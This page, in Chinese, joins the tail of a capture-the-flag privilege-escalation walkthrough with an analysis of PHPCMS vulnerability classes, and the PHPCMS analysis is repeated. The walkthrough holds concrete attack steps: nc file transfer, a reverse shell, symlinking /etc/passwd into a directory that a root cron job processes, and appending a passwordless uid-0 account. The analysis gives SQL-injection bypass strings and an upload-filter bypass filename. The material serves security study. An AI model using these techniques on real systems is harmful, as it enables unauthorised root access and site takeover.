查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 193 次浏览 • 2022-06-21 00:33
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
